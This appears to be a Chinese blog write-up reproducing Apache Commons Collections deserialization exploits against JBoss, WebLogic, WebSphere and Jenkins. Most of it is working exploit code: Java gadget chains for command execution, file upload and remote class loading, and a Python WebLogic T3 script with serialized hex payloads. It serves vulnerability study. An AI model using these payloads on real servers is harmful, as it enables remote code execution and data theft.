Commons Collections Java 反序列化漏洞总结

概述

Java 反序列化漏洞,‍‍序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

序列化与反序列化

1
2
3
4
5
String obj ="hello, world! This is a test!";
FileOutputStream fos = new FileOutputStream("test/object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();

java-deserialize-head

1
2
3
4
5
FileInputStream fis = new FileInputStream("test/object");
ObjectInputStream ois = new ObjectInputStream(fis);
String obj2 = (String) ois.readObject();
System.out.print(obj2);
ois.close();

最后输出为hello, world! This is a test!

Commons Collections Java

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。当然Java反序列化的问题就是出在org.apache.commons.collections这个库,这个库里的Package如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
org.apache.commons.collections
org.apache.commons.collections.bag
org.apache.commons.collections.bidimap
org.apache.commons.collections.buffer
org.apache.commons.collections.collection
org.apache.commons.collections.comparators
org.apache.commons.collections.functors
org.apache.commons.collections.iterators
org.apache.commons.collections.keyvalue
org.apache.commons.collections.list
org.apache.commons.collections.map
org.apache.commons.collections.set

里面主要涉及到的类有ConstantTransformerInvokerTransformer

整个poc的逻辑可以这么理解,构建了BeforeTransformerMap的键值对,为其赋值,利用TransformedMap的decorate方法,可以对Map数据结构的key,value进行transforme。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。

TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));

poc中对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行。

在进行反序列化时,我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法。

结合前述Commons Collections的特性,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的,就可以实现我们的攻击目标了。

因此我们在poc中看见了下行的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Transformer transforms[] = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {0, new Object[0]}
),
new InvokerTransformer("exec",
new Class[] {String[].class},
new Object[] {commands}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
tempMap.put("value", "tentacle");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] {Class.class, Map.class});
ctor.setAccessible(true);
instance = ctor.newInstance(new Object[] {Target.class, exMap});
ByteArrayOutputStream bo = new ByteArrayOutputStream(10);
ObjectOutputStream out = new ObjectOutputStream(bo);
out.writeObject(instance);
out.flush();
out.close();
return bo.toByteArray();

如果要实现一个可控的poc,需要对transformer链的构造进行理解。首先来看InvokerTransformer。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transformer transforms[] = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {0, new Object[0]}
),
new InvokerTransformer("exec",
new Class[] {String[].class},
new Object[] {commands}
)
};

这样,这段恶意代码本质上就是利用反射调用Runtime() 执行了一段系统命令,作用等同于:

1
((Runtime)Runtime.class.getMethod("getMethod",null).invoke(null,null)).exec(commands);

其对应关系如下:

java-deserialize-code-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformerChain = new ChainedTransformer(transforms);
// Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式
Map tempMap = new HashMap();
tempMap.put("value", "orleven");
// 对Map类的数据结构进行转化
// TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
//实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] {Class.class, Map.class});
ctor.setAccessible(true);
instance = ctor.newInstance(new Object[] {Target.class, exMap});
// 序列化后转化为byte数组,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
ByteArrayOutputStream bo = new ByteArrayOutputStream(10);
ObjectOutputStream out = new ObjectOutputStream(bo);
out.writeObject(instance);
out.flush();
out.close();
return bo.toByteArray();

JBoss

JBoss JMXInvokerServlet 反序列化

JBoss JMXInvokerServlet 存在反序列化漏洞。invoker/JMXInvokerServlet

可直接向http://192.168.111.145:8080/invoker/JMXInvokerServlet发送特殊构造的恶意代码,但是由于这个漏洞本身不回显,漏洞一开始并不好利用。后来大佬们通常先上传一个jar文件,然后通过加载Jar的方式进行异常封装,从而解决了回显的问题,具体poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
public static Object fileupload(String filepath, byte[] data)
{
Object instance = null;
try {
// ((FileOutputStream)FileOutputStream.class.getDeclaredConstructor(null).newInstance(null)).write(data);
Transformer transforms[] = {
new ConstantTransformer(FileOutputStream.class),
new InvokerTransformer("getDeclaredConstructor",
new Class[] {Class[].class},
new Object[] {new Class[] {String.class}}
),
new InvokerTransformer("newInstance",
new Class[] {Object[].class},
new Object[] {new Object[] {filepath}}
),
new InvokerTransformer("write",
new Class[] {byte[].class},
new Object[] {data}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
tempMap.put("value", "orleven");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] {Class.class, Map.class});
ctor.setAccessible(true);
instance = ctor.newInstance(new Object[]{Target.class, exMap});
}catch (Exception e){
e.printStackTrace();
return null;
}
return instance;
}
public static Object classInject(String packUri, String className, String[] code)
{
Object instance = null;
try {
// ((URLClassLoader)URLClassLoader.class.getMethod("newInstance",null).invoke(null,packUri)).loadClass(className).getMethod("main",null).invoke(null,code)
Transformer transforms[] = {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"newInstance", new Class[] {URL[].class}}
),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {0, new Object[] {new URL[] {new URL(packUri)}}}
),
new InvokerTransformer("loadClass",
new Class[] {String.class},
new Object[] {className}),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"main", new Class[] {String[].class}}
),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {0, new Object[] {code}}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
tempMap.put("value", "orleven");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] {Class.class, Map.class});
ctor.setAccessible(true);
instance = ctor.newInstance(new Object[]{Target.class, exMap});
}catch (Exception e){
e.printStackTrace();
return null;
}
return instance;
}
public static byte[] getPayload(Object instance){
try{
ByteArrayOutputStream bo = new ByteArrayOutputStream(10);
ObjectOutputStream out = new ObjectOutputStream(bo);
out.writeObject(instance);
out.flush();
out.close();
return bo.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
// 上传jar
getPayload(fileupload("util.jar",filedata));
// 执行命令
getPayload(classInject("file:util.jar","jc.util.CommUtil",new String[]{"data","-action","runcmd","uname -a"}));
// 下载文件
getPayload(classInject("file:util.jar","jc.util.CommUtil",new String[]{"data","-action","file-download",filename}));

java-deserialize-jboss-exec

JBoss CVE-2017-12149

JBoss /invoker/readonly 存在反序列化漏洞,即没有对数据进行任何的安全处理便进行了反序列化处理,造成了漏洞的形成。

访问服务器的/invoker/readonly页面,服务器返回500错误

java-deserialize-jboss-exec

这个漏洞的POC和前一个JBoss反序列化漏洞基本相同,所以这里就不贴代码了。

发送payload后服务端的日志如下:

java-deserialize-jboss-exec

Weblogic

因为weblogic会把异常直接打印到服务器端的控制台上,所以在jboss中通过异常封装回显的方法在weblogic上并不适用。但是weblogic有更方便的方法,weblogic是通过T3协议来传输序列化的类,那我们就可以通过T3协议来实现exploit和server的通信,因为weblogic的T3协议和WEB协议共用同一个端口,所以只要能访问weblogic,就可以利用,不需要加载远程类,因此对服务器能否连外网没有要求。

T3 协议

这里主要介绍下T3协议,不想看的可以跳过这里。T3 也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。服务器实例将跟踪所连接的每个 Java 虚拟机(Java Virtual Machine,简称 JVM),并创建单个 T3 连接以承担 JVM 的所有流量。请参阅“管理控制台联机帮助”中的配置 T3 协议。

使用T3协议向服务器发送数据:

1
t3 7.0.0.0\nAS:10\nHL:19\n\n

第一行为t3加weblogic客户端的版本号

weblogic服务器的返回数据为:

1
HELO:10.0.2.0.false\nAS:2048\nHL:19\n\n

第一行为HELO:加weblogic服务器的版本号
weblogic客户端与服务器发送的数据均以\n\n结尾。

经测试,使用

1
t3 9.2.0\nAS:255\nHL:19\n\n

字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法。

在收到服务器的返回数据包后,就可了发送poc了。

poc的结构为:发送的数据长度 + weblogic的固定数据 + 反序列化的恶意代码 + 其他数据,具体如下:

java-deserialize-weblogic-exec

即可触发漏洞。

CVE-2015-4852

这个版本没有任何的过滤,可直接利用。

CVE-2016-0638、CVE-2016-3510、CVE-2017-3248

因为weblogic的补丁是采用黑名单的过滤方式进行修补,容易有绕过的方式,下面就是大佬们的相关脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# -*- coding: utf-8 -*-
import socket
import time
import re
#
# @author iswin@threathunter.org
# reffer: nessus
#
VUL=['CVE-2016-0638','CVE-2016-3510','CVE-2017-3248']
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
VER_SIG=['weblogic.jms.common.StreamMessageImpl','org.apache.commons.collections.functors.InvokerTransformer','\\$Proxy[0-9]+']
def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print 'handshake successful'
def buildT3RequestObject(sock,port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))
def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception as e:
pass
return res
def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
else:
print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])
def run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
sock.settimeout(50)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(sock,dport)
rs=sendEvilObjData(sock,PAYLOAD[index])
checkVul(rs,server_addr,index)
if __name__=="__main__":
dip = '10.8.56.17'
dport = 7001
for i in range(0,len(VUL)):
run(dip,dport,i)

WebSphere

CVE-2015-4852

WebSphere的反序列化漏洞发生的位置在SOAP的通信端口8880,使用的通信协议是https,发送的数据是XML格式的数据。

java-deserialize-websphere-8880

这个版本的Websphere没进行任何的过滤处理,直接进行了反序列化。

所以只要把恶意代码(和之前jboss的攻击方式一样)base64编码后通过SOAP协议发送至有漏洞的服务器即可命令执行。

websphere-8880-exec

Jenkins

CVE-2015-8103

想要使用这个漏洞利用Java应用,则需要找一个序列化对象的接收入口,并且这个Java应用使用了Commons Collections库。Jenkins是一个开源的持续集成软件。Jenkins启动后会开放多个端口,除了Web控制台之外还有一个CLI端口。CLI端口为随机的高端口,通过jenkins目录下的WEB-INF/jenkins-cli.jar程序可以和CLI端口进行通信。分析通信数据包发现存在base64编码的Java序列化特征值rO0AB。

jenkins-cli.jar在与CLI端口通信之前,会先HTTP GET请求一下jenkins的Web控制台,从响应包中解析出CLI的端口,再做后续通信。

从下图的head头部可以看到随机的序列化对象的接收入口。

jenkins-head

X-Jenkins-CLI2-Port是采用SSL加密通信,而如果未解析到X-Jenkins-CLI2-Port头,则会解析X-Jenkins-CLI-Port头,此时Jenkins-CLI通信协议自动降为Version1,并且无SSL加密。

只要将恶意代码序列化后进行base64加密(base64编码后不能有换行),并代替掉之前截到的数据包中的base64字段即可。

jenkins-data

由于此漏洞的命令执行结果也是不回显的,上传jar包的方式也只能打印到控制台,依旧不能解决回显问题。如果采用nslookup等方式来检测漏洞也常有漏网之鱼(如果服务器不能主动向外发包)。

总结

花了几天时间复现了这些著名的漏洞,颇有收获,稍微了解了各个中间件的一些情况以及的反序列化漏洞的触发方式。

参考文章1
参考文章2
参考文章3
参考文章4
参考文章5
参考文章6
参考文章7
参考文章8
参考文章9